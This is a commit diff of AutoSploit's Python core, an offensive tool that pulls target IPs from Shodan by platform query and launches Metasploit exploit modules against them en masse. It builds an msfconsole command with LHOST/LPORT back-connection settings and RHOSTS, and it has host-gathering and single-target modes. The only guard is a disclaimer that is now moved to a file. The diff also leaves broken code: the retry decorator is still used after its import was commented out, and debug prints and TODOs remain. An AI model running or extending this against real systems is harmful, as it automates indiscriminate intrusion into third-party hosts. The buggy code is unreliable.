11#!/usr/bin/env python2.7
2- """Autosploit Core. """
2+ """Autosploit Core, beta development version """
33
44import os , sys
55import time
66import pickle
77import shodan
88
9- from retrying import retry
9+ # idk if you're going to need this since retrying is a decorator (see line 410)
10+ # from retrying import retry
1011from blessings import Terminal
1112from subprocess import PIPE , Popen
1213
2021local_host = ""
2122configured = False
2223toolbar_width = 60
23-
24+ usage_and_legal_path = "{}/etc/general" .format (os .getcwd ())
25+ modules_path = "{}/etc/modules.txt" .format (os .getcwd ())
26+ autosploit_opts = {
27+ 1 : "usage and legal" , 2 : "gather hosts" , 3 : "custom hosts" ,
28+ 4 : "add single host" , 5 : "view gathered hosts" , 6 : "exploit gathered hosts" ,
29+ 7 : "quit"
30+ }
2431
2532def logo ():
2633 """Logo."""
@@ -36,48 +43,11 @@ def logo():
3643
3744def usage ():
3845 """Usage & Legal."""
46+ global usage_and_legal_path
3947 print ("\033 [H\033 [J" ) # Clear terminal
4048 logo ()
41- print ("""
42- +-----------------------------------------------------------------------+
43- | AutoSploit General Usage and Information |
44- +-----------------------------------------------------------------------+
45- |As the name suggests AutoSploit attempts to automate the exploitation |
46- |of remote hosts. Targets are collected by employing the Shodan.io API. |
47- | |
48- |The 'Gather Hosts' option will open a dialog from which you can |
49- |enter platform specific search queries such as 'Apache' or 'IIS'. |
50- |Upon doing so a list of candidates will be retrieved and saved to |
51- |hosts.txt in the current working directory. |
52- |As of version 1.4.9 an option to load a custom list of hosts has been |
53- |included. |
54- |After this operation has been completed the 'Exploit' option will |
55- |go about the business of attempting to exploit these targets by |
56- |running a range of Metasploit modules against them. |
57- | |
58- |Workspace, local host and local port for MSF facilitated |
59- |back connections are configured through the dialog that comes up |
60- |before the 'Exploit' module is started. |
61- | |
62- +------------------+----------------------------------------------------+
63- | Option | Summary |
64- +------------------+----------------------------------------------------+
65- |1. Usage/Legal | Display this informational message & Disclaimer |
66- |2. Gather Hosts | Query Shodan for a list of platform specific IPs. |
67- |3. Custom Hosts | Load in a custom list of IPs/Rhosts |
68- |4. Single Host | Add a single host to list and/or exploit directly |
69- |5. View Hosts | Print gathered IPs/RHOSTS. |
70- |6. Exploit | Configure MSF and Start exploiting gathered targets|
71- |7. Quit | Exits AutoSploit. |
72- +------------------+----------------------------------------------------+
73- | Legal Disclaimer |
74- +-----------------------------------------------------------------------+
75- |Usage of AutoSploit for attacking targets without prior mutual consent |
76- |is illegal. It is the end user's responsibility to obey all applicable |
77- |local, state, and federal laws. Developers assume no liability and are |
78- |not responsible for any misuse or damage caused by this program. |
79- +-----------------------------------------------------------------------+
80- """ )
49+ with open (usage_and_legal_path ) as info :
50+ print (info .read ())
8151
8252
8353def cmdline (command ):
@@ -99,56 +69,57 @@ def cmdline(command):
9969
10070def exploit (query = None , single = None ):
10171 """Exploit component"""
102-
72+
10373 global workspace
10474 global local_port
10575 global local_host
76+ global modules_path
10677 print ("\033 [H\033 [J" ) # Clear terminal
107-
78+
10879 logo ()
10980
11081 sorted_modules = []
11182 all_modules = []
11283
11384 if query == None :
11485 rhosts = single
115-
86+
11687 print ("\n [{}]Single target mode. All available modules will be run against provided RHOST." .format (t .green ("+" )))
11788 proceed = raw_input ("[" + t .magenta ("?" ) + "]Continue? [Y]es/[N]o: " ).lower ()
118-
89+
11990 if proceed == 'y' :
12091 print ("\n \n \n [{}]Loading modules..." .format (t .green ("+" )))
12192 # Progress bar
12293 sys .stdout .write ("[%s]" % (" " * toolbar_width ))
12394 sys .stdout .flush ()
12495 sys .stdout .write ("\b " * (toolbar_width + 1 ))
125-
126- with open ("modules.txt" , "rb" ) as infile :
96+
97+ with open (modules_path , "rb" ) as infile :
12798 for i in xrange (toolbar_width ):
128- time .sleep (0.1 )
99+ time .sleep (0.1 )
129100 for lines in infile :
130101 all_modules .append (lines )
131-
102+
132103 print ("\n \n \n [{}]Done. Launching exploits." .format (t .green ("+" )))
133104 template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace , local_host , local_port , rhosts , exploit )
134105 cmdline (template )
135-
106+
136107 elif proceed == 'n' :
137108 print ("[{}]Aborted. Returning to Main Menu" .format (t .red ("!" )))
138-
109+
139110 else :
140111 print ("[{}]Unhandled Option. Defaulting to Main Menu" .format (t .red ("!" )))
141-
112+
142113 else :
143114 print ("[{}]Sorting modules relevant to the specified platform." .format (t .green ("+" )))
144115 print ("[{}]This may take a while...\n \n \n " .format (t .green ("+" )))
145116
146117 # Progress bar
147118 sys .stdout .write ("[%s]" % (" " * toolbar_width ))
148- sys .stdout .flush ()
119+ sys .stdout .flush ()
149120 sys .stdout .write ("\b " * (toolbar_width + 1 ))
150121
151- with open ("modules.txt" , "rb" ) as infile :
122+ with open (modules_path , "rb" ) as infile :
152123 for i in xrange (toolbar_width ):
153124 time .sleep (0.1 )
154125 for lines in infile :
@@ -185,7 +156,7 @@ def exploit(query=None, single=None):
185156 cmdline (template )
186157 else :
187158 print ("[{}]Unhandled Option. Defaulting to Main Menu" .format (t .red ("!" )))
188-
159+
189160
190161def settings (single = None ):
191162 """Function to define Metasploit settings."""
@@ -237,14 +208,14 @@ def settings(single=None):
237208 # When we return to the main menu loop we will use it to check to see if we
238209 # can skip the config stage. When the exploit component is run a second time
239210 configured = True
240-
211+
241212 if single is not None :
242213 exploit (None , single )
243214 # TEST print
244215 print "De waarde van 'single' is" + repr (single )
245216 print 'we moete nu de exploit module in met de juiste waarde'
246217 # TEST print
247-
218+
248219 if not os .path .isfile ("hosts.txt" ):
249220 print ("[{}]Warning. AutoSploit failed to detect host file." .format (t .red ("!" )))
250221 print ("In order for the exploit module to work, a host file needs to be present." )
@@ -265,12 +236,13 @@ def targets(clobber=True):
265236 print ("[{}]Please provide your platform specific search query." .format (t .green ("+" )))
266237 print ("[{}]I.E. 'IIS' will return a list of IPs belonging to IIS servers." .format (t .green ("+" )))
267238
239+ # /TODO:
268240 while True :
269241 query = raw_input ("\n <" + t .cyan ("PLATFORM" ) + ">$ " )
270242
271243 if query == "" :
272244 print ("[{}]Query cannot be null." .format (t .red ("!" )))
273-
245+
274246 break
275247
276248
@@ -288,6 +260,7 @@ def targets(clobber=True):
288260 sys .stdout .flush ()
289261 sys .stdout .write ("\b " * (toolbar_width + 1 ))
290262
263+ # TODO:/
291264 if clobber :
292265 with open ('hosts.txt' , 'wb' ) as log :
293266 for i in xrange (toolbar_width ):
@@ -305,6 +278,7 @@ def targets(clobber=True):
305278 print ("\n \n \n [{}]Done." .format (t .green ("+" )))
306279 print ("[{}]Host list saved to {}" .format (t .green ("+" ), hostpath ))
307280
281+ # TODO:/
308282 else :
309283 with open ("hosts.txt" , "ab" ) as log :
310284 for i in xrange (toolbar_width ):
@@ -324,13 +298,16 @@ def targets(clobber=True):
324298
325299
326300
327- def import_custom (clobber = True ):
328- """Function to import custom host list."""
301+ # TODO:/
302+ def import_custom (clobber = True ):
303+ """
304+ Function to import custom host list.
305+ """
329306 print ("\033 [H\033 [J" ) # Clear terminal
330307 logo ()
331-
308+
332309 custom_list = []
333-
310+
334311 print ("[{}]Please provide a path to your custom host list." .format (t .green ("+" )))
335312 file_path = raw_input ("\n [" + t .magenta ("?" ) + "]Path to list: "
336313
@@ -342,7 +319,7 @@ def import_custom(clobber=True):
342319 except IOError as e :
343320 print ("\n [{}]Critical. An IO error was raised." .format (t .red ("!" )))
344321 print ("Please make sure to enter a valid path." )
345-
322+
346323 if clobber :
347324 print ("[{}]Writing data to 'hosts.txt'..." .format (t .green ("+" )))
348325 with open ('hosts.txt' , 'wb' ) as outfile :
@@ -351,10 +328,10 @@ def import_custom(clobber=True):
351328 outfile .write ("\n " )
352329
353330 hostpath = os .path .abspath ("hosts.txt" )
354-
331+
355332 print ("\n \n \n [{}]Done." .format (t .green ("+" )))
356333 print ("[{}]Host list saved to {}" .format (t .green ("+" ), hostpath ))
357-
334+
358335 else :
359336 print ("[{}]Appending data to 'hosts.txt'..." .format (t .green ("+" )))
360337
@@ -364,19 +341,20 @@ def import_custom(clobber=True):
364341 outfile .write ("\n " )
365342
366343 hostpath = os .path .abspath ("hosts.txt" )
367-
344+
368345 print ("\n \n \n [{}]Done." .format (t .green ("+" )))
369346 print ("[{}]Host list saved to {}" .format (t .green ("+" ), hostpath ))
370347
371348
372- def single_target ()
349+ def single_target ():
350+ # TODO:/
373351 """
374352 Add single target to host list or pass it to the exploit function directly
375353 to attempt to exploit it.
376354 """
377355 print ("\033 [H\033 [J" ) # Clear terminal
378356 logo ()
379-
357+
380358 print ("[{}]Please provide a single IPv4." .format (t .green ("+" )))
381359 IP = raw_input ("[" + t .magenta ("?" ) + "]IPv4 Address: " )
382360
@@ -387,9 +365,9 @@ def single_target()
387365 quartet3 = int (IP [0 :IP .index ('.' )])
388366 IP = IP [IP .index ('.' )+ 1 :]
389367 quartet4 = int (IP )
390-
368+
391369 IP = str (quartet1 ) + "." + str (quartet2 ) + "." + str (quartet3 ) + "." + str (quartet4 )
392-
370+
393371 if quartet1 < 0 or quartet1 > 255 :
394372 print ("[{}]Critical. Invalid IPv4 address." .format (t .red ("!" )))
395373 elif quartet2 < 0 or quartet2 > 255 :
@@ -403,33 +381,35 @@ def single_target()
403381 else :
404382 print ("\n [{}]Host set to {}" .format (t .green ("+" ), repr (hostpath )))
405383 time .sleep (1 )
406-
384+
407385 print ("\n \n [{}]Append the IP to the host file or pass to exploit module directly?." .format (t .green ("+" )))
408386 choice = raw_input ("\n [" + t .magenta ("?" ) + "]Append or Pass for immediate exploitation? [A/P]: " ).lower ()
409-
387+
410388 if choice == 'a' :
411389 with open ( "hosts.txt" , "ab" ) as outfile :
412390 outfile .write (IP )
413-
391+
414392 hostpath = os .path .abspath ("hosts.txt" )
415393 print ("[{}]Host added to {}" .format (t .green ("+" ), hostpath ))
416-
394+
417395 elif choice == 'p' :
418396 if configured :
419397 exploit (None , IP )
420398 else :
421399 settings (IP )
422-
400+
423401 else :
424402 print ("\n [{}]Unhandled Option." .format (t .red ("!" )))
425-
403+
426404
427405def main ():
428406 """Main menu."""
429407 global query
430408 global configured
431409 global api
410+ global autosploit_opts
432411
412+ # TODO:/
433413 @retry (stop_max_attempt_number = 3 )
434414 def try_shodan ():
435415 try :
@@ -449,12 +429,8 @@ def try_shodan():
449429 settings ()
450430
451431 print ("\n [{}]Welcome to AutoSploit. Please select an action." .format (t .green ("+" )))
452- print ("""
453-
454- 1. Usage/Legal 4. Add Single host 7. Quit
455- 2. Gather Hosts 5. View Hosts
456- 3. Custom Hosts 6. Exploit
457- """ )
432+ for i in autosploit_opts .keys ():
433+ print ("{}. {}" .format (i , autosploit_opts [i ].title ()))
458434
459435 action = raw_input ("\n <" + t .cyan ("AUTOSPLOIT" ) + ">$ " )
460436
@@ -473,20 +449,20 @@ def try_shodan():
473449 targets (True )
474450 else :
475451 print ("\n [{}]Unhandled Option." .format (t .red ("!" )))
476-
452+
477453 elif action == '3' :
478454 if not os .path .isfile ("hosts.txt" ):
479455 import_custom (True )
480456 else :
481457 append = raw_input ("\n [" + t .magenta ("?" ) + "]Append hosts to file or overwrite? [A/O]: " ).lower ()
482-
458+
483459 if append == 'a' :
484460 import_custom (False )
485461 elif append == 'o' :
486462 import_custom (True )
487463 else :
488464 print ("\n [{}]Unhandled Option." .format (t .red ("!" )))
489-
465+
490466 elif action == '4' :
491467 single_target ()
492468
0 commit comments